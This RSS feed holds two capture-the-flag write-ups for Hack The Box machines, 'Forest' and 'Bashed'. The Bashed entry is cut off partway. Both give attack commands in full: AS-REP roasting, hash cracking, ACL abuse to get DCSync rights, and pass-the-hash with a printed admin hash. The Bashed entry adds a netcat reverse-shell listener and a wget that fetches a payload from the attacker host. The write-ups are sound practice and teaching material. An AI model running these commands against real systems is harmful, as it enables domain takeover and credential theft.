<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Finn</title>
    <description>The latest articles on DEV Community by Finn (@71xn).</description>
    <link>https://dev.to/71xn</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F380000%2Fdbb0537e-df3e-4d83-bfba-5c89351ffb74.jpg</url>
      <title>DEV Community: Finn</title>
      <link>https://dev.to/71xn</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/71xn"/>
    <language>en</language>
    <item>
      <title>Forest - 10.10.10.161 - hackthebox.eu - Writeup - Road to OSCP #2</title>
      <dc:creator>Finn</dc:creator>
      <pubDate>Wed, 06 May 2020 18:16:29 +0000</pubDate>
      <link>https://dev.to/71xn/forest-10-10-10-161-hackthebox-eu-writeup-road-to-oscp-2-4nd0</link>
      <guid>https://dev.to/71xn/forest-10-10-10-161-hackthebox-eu-writeup-road-to-oscp-2-4nd0</guid>
      <description>&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--coYO418r--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/2qlvus10kpyovinvrdjj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--coYO418r--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/2qlvus10kpyovinvrdjj.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Welcome to my writeup of the hackthebox.eu machine Forest
&lt;/h4&gt;

&lt;p&gt;This machine is rated easy difficulty and involved abusing kerberos pre-authentication to kerberoast a hash of a local service account using the impacket script &lt;code&gt;GetNPUsers&lt;/code&gt;. Root required using bloodhound to visualize the AD environment and find a path to the domain admin, which included abusing ACL's to get DCSync rights.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Recon
&lt;/h3&gt;

&lt;p&gt;As usual we will start with an nmap scan of the target machine.&lt;br&gt;
&lt;code&gt;nmap -sC -sV -oA nmap/scan 10.10.10.161&lt;/code&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--WV-nlOX6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/y5ve5duwo71bc01j1m44.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--WV-nlOX6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/y5ve5duwo71bc01j1m44.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;br&gt;
The ports of note here are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;445 - SMB&lt;/li&gt;
&lt;li&gt;88 - Kerberos&lt;/li&gt;
&lt;li&gt;135 - RPC&lt;/li&gt;
&lt;li&gt;5985 - Powershell - WSMan - Remote Management &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Knowing that we have rpc open we can try null authentication to get a list of user accounts&lt;br&gt;
&lt;code&gt;rpcclient -U "" -N 10.10.10.161&lt;/code&gt; &lt;code&gt;enumdomusers&lt;/code&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--StHMorMN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/ozrr70r5kgd6wk5qqosf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--StHMorMN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/ozrr70r5kgd6wk5qqosf.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;One account is of particular interest as is starts with &lt;code&gt;svc&lt;/code&gt; which indicates it may be a service account which would mean we can abuse its special permissions relating to local groups and users&lt;/li&gt;
&lt;li&gt;We can attempt to kerberoast this user to try and get a hash we can crack&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  2. Exploitation to User
&lt;/h4&gt;

&lt;p&gt;Clone the &lt;a href="https://github.com/SecureAuthCorp/impacket"&gt;Impacket repo&lt;/a&gt; and navigate into the examples folder&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--pHBQOb5M--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/8rrjysjhmo5awcrfk68g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--pHBQOb5M--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/8rrjysjhmo5awcrfk68g.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now try try attacking the &lt;code&gt;svc-alfresco&lt;/code&gt; account:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If you remember from the nmap scan the domain was &lt;code&gt;htb.local&lt;/code&gt;
&lt;code&gt;./GetNPUsers.py htb.local/svc-alfresco -format john -dc-ip 10.10.10.161&lt;/code&gt;
&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Bo_JWyQt--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/cvwm8bcl1ojxr7ew4g62.png" alt="Alt Text"&gt;
Bingo! We now have the asrep hash of the user &lt;code&gt;svc-alfresco&lt;/code&gt; and we can crack is using johntheripper&lt;/li&gt;
&lt;li&gt;First place the hash in a file called hash.txt&lt;/li&gt;
&lt;li&gt;Run &lt;code&gt;john -w=/usr/share/wordlists/rockyou.txt hash.txt&lt;/code&gt;
&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--x5mdbv0P--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/uladgd2oswyy4gsg5n0w.png" alt="Alt Text"&gt;
&lt;/li&gt;
&lt;li&gt;We now have the password of the user svc-alfresco - s3rvice&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now we can login to the powershell remote management port using a tool called &lt;a href="https://github.com/Hackplayers/evil-winrm"&gt;Evil-WinRM&lt;/a&gt;&lt;br&gt;
&lt;code&gt;evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice&lt;/code&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--7dcAAQ1a--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/70no1wzqykv6yl5eal8j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--7dcAAQ1a--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/70no1wzqykv6yl5eal8j.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now that we have a shell we can also grab &lt;code&gt;user.txt&lt;/code&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--NZdo1G-Y--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/eqt6x8uwh1bs6ixell2n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--NZdo1G-Y--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/eqt6x8uwh1bs6ixell2n.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  3. Priv Esc from User to Domain Admin
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;For this priv esc we will use a tool called bloodhound to visualise the Active Directory environment - follow this guide on how to set it up on your system &lt;a href="https://bloodhound.readthedocs.io/en/latest/index.html"&gt;BloodHound Wiki&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To begin we need to initialize the neo4j database, you can do this by running: &lt;code&gt;neo4j console&lt;/code&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--HdUJRJfC--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/ncikv9qhqfgs4kv1tp58.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--HdUJRJfC--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/ncikv9qhqfgs4kv1tp58.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now that the db has been launched we can launch blood hound by running &lt;code&gt;bloodhound&lt;/code&gt; in a terminal&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--M6eRGtT_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/70n5ncns9wny2bw3z3v4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--M6eRGtT_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/70n5ncns9wny2bw3z3v4.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now that bloodhound is running, we need some data to analyze, we can use the SharpHound.exe file and the upload and download capabilities of Evil-WinRM to get the files.&lt;br&gt;
Open a new terminal and download the SharpHound.exe file from github&lt;br&gt;
&lt;code&gt;https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.exe&lt;/code&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--eefoAqO4--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/iin83gg0xty15r0wzps5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--eefoAqO4--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/iin83gg0xty15r0wzps5.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now in your Evil-WinRM terminal type: &lt;code&gt;upload SharpHound.exe&lt;/code&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--uhRBA4nT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/7od4miigwy2k6sw2bq6f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--uhRBA4nT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/7od4miigwy2k6sw2bq6f.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we can run the file with the &lt;code&gt;-c All&lt;/code&gt; flag to to specify we wan't to collect all data on the AD environment&lt;br&gt;
&lt;code&gt;.\SharpHound.exe -c All&lt;/code&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--FBWluyPB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/wera23epacu76kcnetfi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--FBWluyPB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/wera23epacu76kcnetfi.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ls&lt;/code&gt; &lt;code&gt;download 20200506091425_BloodHound.zip&lt;/code&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--J-aHGZNF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/fefgmf7zsksz6y0mk5af.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--J-aHGZNF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/fefgmf7zsksz6y0mk5af.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We now have the bloodhound zip file on our local machine so we can open it in bloodhound by dragging it into the window &lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--x1ONaypF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/12nb43yp3fbjmsdsvngl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--x1ONaypF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/12nb43yp3fbjmsdsvngl.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You should now see that we have a lot of data in our database&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now we can run one of the pre-made queries &lt;code&gt;Shortest Paths to Unconstrained Delegation Systems&lt;/code&gt; &lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ti0HCVJI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/7c9vjeaqomb8sot6xbye.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ti0HCVJI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/7c9vjeaqomb8sot6xbye.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;br&gt;
There are a few things that we can see now:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;We are part of the privileged IT group and as a result part of Account Operators can be a member Exchange Windows Permissions and Exchange Trusted Subsystem Group&lt;/li&gt;
&lt;li&gt;Firstly, this means that we can add ourselves to Exchange Windows Permissions and Exchange Trusted Subsystem Group&lt;/li&gt;
&lt;li&gt;This also means we can abuse ACL (Access Control List) to allow svc-alfresco to perform a DCSync attack to get the admin hash, here is a good video that explains this, &lt;a href="https://www.youtube.com/watch?v=QfyZQDyeXjQ"&gt;Here&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's try adding ourselves to this group new group:&lt;br&gt;
&lt;code&gt;net group "Exchange Windows Permissions" svc-alfresco /add&lt;/code&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--v23JJxTM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/c1rqpd51i953tflk5bzn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--v23JJxTM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/c1rqpd51i953tflk5bzn.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can also add ourselves to the &lt;code&gt;Exchange Trusted Subsystem Group&lt;/code&gt; which will allow us to abuse ACL&lt;br&gt;
&lt;code&gt;Add-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members svc-alfresco&lt;/code&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--QT7SDMUW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/mi71qtpg1f92lk8xeyc4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--QT7SDMUW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/mi71qtpg1f92lk8xeyc4.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can now use a tool called &lt;code&gt;aclpwn&lt;/code&gt; to give &lt;code&gt;svc-alfresco&lt;/code&gt; DCSync rights. There is an article here that describes it's usage very well - &lt;a href="https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/"&gt;ACLPWN Blog&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Lets install aclpwn in kali, it's as simple as &lt;code&gt;pip install aclpwn&lt;/code&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--fpO9iVTZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/ld4bmnztdkqyw7fd2r0e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--fpO9iVTZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/ld4bmnztdkqyw7fd2r0e.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Lets execute this command to give us DCSync permissions&lt;br&gt;
&lt;code&gt;aclpwn -f svc-alfresco -ft user -d htb.local -s 10.10.10.161&lt;/code&gt; and use option 1&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--0vM7FqLM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/fqz304mu486dxa7brlwm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--0vM7FqLM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/fqz304mu486dxa7brlwm.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Now we can use impacket's &lt;code&gt;secretsdump.py&lt;/code&gt; to get the admin hash&lt;br&gt;
&lt;code&gt;secretsdump.py htb.local/svc-alfresco:s3rvice@10.10.10.161 -dc-ip 10.10.10.161&lt;/code&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--2fJSkNyz--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/u2oswynll38jweio651f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--2fJSkNyz--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/u2oswynll38jweio651f.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h5&gt;
  
  
  Bingo! We now have the admin hash
&lt;/h5&gt;

&lt;p&gt;We can use this to logon using Evil-WinRM with the -H flag and grab &lt;code&gt;root.txt&lt;/code&gt;&lt;br&gt;
&lt;code&gt;evil-winrm -i 10.10.10.161 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6&lt;/code&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--rElZM_ee--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/r6xpmwnxroiu8qijd4d6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--rElZM_ee--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/r6xpmwnxroiu8qijd4d6.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Rooted!
&lt;/h4&gt;

&lt;p&gt;If you enjoyed my write up or found it useful check you my htb profile linked below&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.hackthebox.eu/home/users/profile/210952"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ZI1O4k-i--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/http://www.hackthebox.eu/badge/image/210952.png" alt="HTB"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Bashed - 10.10.10.68 - hackthebox.eu - Writeup - Road to OSCP #1</title>
      <dc:creator>Finn</dc:creator>
      <pubDate>Tue, 05 May 2020 12:47:49 +0000</pubDate>
      <link>https://dev.to/71xn/bashed-10-10-10-68-hackthebox-eu-writeup-3p10</link>
      <guid>https://dev.to/71xn/bashed-10-10-10-68-hackthebox-eu-writeup-3p10</guid>
      <description>&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--pwEWRu5U--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/6p348hw5z1adbqvs7fmt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--pwEWRu5U--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/6p348hw5z1adbqvs7fmt.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h5&gt;
  
  
  Welcome to my writeup of the hackthebox.eu machine - Bashed - 10.10.10.68
&lt;/h5&gt;

&lt;p&gt;This machine is rated easy dificulty and requires knowledge of the linux &lt;code&gt;sudo and sudo -l&lt;/code&gt; commands. The initial phase only requires some simple enumeration of an apache webpage which turns out to be running a webshell.&lt;/p&gt;

&lt;h4&gt;
  
  
  1. Recon
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;nmap -sC -sV -oA nmap/bashed 10.10.10.68&lt;/code&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--INnWSDcO--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/bglot9fhkhbng2gwmt2b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--INnWSDcO--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/bglot9fhkhbng2gwmt2b.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;br&gt;
We can see that the only open port on the machine is Apache httpd&lt;/p&gt;

&lt;p&gt;&lt;code&gt;http://10.10.10.68&lt;/code&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--v33yoJvX--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/cwowso1apsbjlsu6y0bd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--v33yoJvX--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/cwowso1apsbjlsu6y0bd.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;br&gt;
There is an article on the page stating that some sort of php file called &lt;code&gt;phpbash&lt;/code&gt; was developed on the machine, we can try running &lt;code&gt;gobuster&lt;/code&gt; to enumerate possible directories&lt;/p&gt;

&lt;p&gt;&lt;code&gt;gobuster dir -u http://10.10.10.68 -w /usr/../.../..2.3-medium.txt&lt;/code&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--iBkX9I2y--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/d56inr2lbco7247h8d5a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--iBkX9I2y--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/d56inr2lbco7247h8d5a.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;br&gt;
We see that we got a hit for a &lt;code&gt;\dev&lt;/code&gt; directory and seeing as the &lt;code&gt;phpbash&lt;/code&gt; was developed on the machine there is a good chance it is in that directory&lt;/p&gt;

&lt;h5&gt;
  
  
  Bingo! A webshell
&lt;/h5&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--PhZlXQy8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/8i2z7ksj1zs8rqydc59m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--PhZlXQy8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/8i2z7ksj1zs8rqydc59m.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--mTQqbBCx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/iehnalebqmeagthoqbxn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--mTQqbBCx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/iehnalebqmeagthoqbxn.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  2. Exploitation
&lt;/h4&gt;

&lt;p&gt;To exploit this machine is would be nicer to have an actual shell so I created a simple python reverse shell and started a netcat listener aswell as a python http server to get the file to the remote machine.&lt;br&gt;
&lt;code&gt;cat rev.py&lt;/code&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--dsZw1tdn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/6y9pxw5ho3n1zzyo7mx3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--dsZw1tdn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/6y9pxw5ho3n1zzyo7mx3.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;br&gt;
&lt;code&gt;which python&lt;/code&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--7_PuR5AO--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/kxz7bosp99181t00u1xx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--7_PuR5AO--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/kxz7bosp99181t00u1xx.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;br&gt;
&lt;code&gt;nc -lvnp 9004&lt;/code&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--wOEdMmOY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/pqrt3vzyqdd6q16cmyc6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--wOEdMmOY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/pqrt3vzyqdd6q16cmyc6.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;br&gt;
&lt;code&gt;wget 10.10.14.17/rev.py&lt;/code&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--mcIDzyWa--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/stnh19xuhvs01sbzlszu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--mcIDzyWa--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/stnh19xuhvs01sbzlszu.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h5&gt;
  
